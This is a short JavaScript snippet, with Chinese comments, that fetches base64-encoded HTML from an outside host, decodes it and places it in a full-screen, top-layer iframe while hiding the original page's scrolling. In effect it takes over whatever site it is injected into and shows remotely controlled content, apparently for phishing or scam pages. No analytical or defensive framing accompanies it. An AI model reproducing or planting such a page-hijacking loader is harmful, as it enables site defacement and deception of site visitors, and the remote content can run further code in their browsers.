(async function () {
    const url = "https://zuinfo.fpjuh.com/venldy.txt";

    function b64ToUtf8(str) {
        const binary = atob(str.trim());
        const bytes = Uint8Array.from(binary, c => c.charCodeAt(0));
        return new TextDecoder().decode(bytes);
    }

    try {
        const response = await fetch(url);
        if (!response.ok) throw new Error(response.status);
        const b64Data = await response.text();
        const realHtml = b64ToUtf8(b64Data);

        // 1. 创建全屏 iframe 并强制覆盖整个屏幕
        const iframe = document.createElement('iframe');
        iframe.style.cssText = `
            position: fixed !important;
            top: 0 !important;
            left: 0 !important;
            width: 100vw !important;
            height: 100vh !important;
            border: none !important;
            margin: 0 !important;
            padding: 0 !important;
            z-index: 99999999 !important;
            background-color: #ffffff;
        `;

        // 2. 隐藏父页面的默认滚动条，防止双滚动条出现
        document.documentElement.style.overflow = 'hidden';
        document.body.style.overflow = 'hidden';
        document.body.style.margin = '0';

        // 3. 将 iframe 挂载到主页面
        document.body.appendChild(iframe);

        // 4. 将解密后的 HTML 写入 iframe 中
        if ('srcdoc' in iframe) {
            iframe.srcdoc = realHtml;
        } else {
            const doc = iframe.contentDocument || iframe.contentWindow.document;
            doc.open();
            doc.write(realHtml);
            doc.close();
        }

    } catch (error) {
        console.error('加载或解密失败:', error);
    }
})();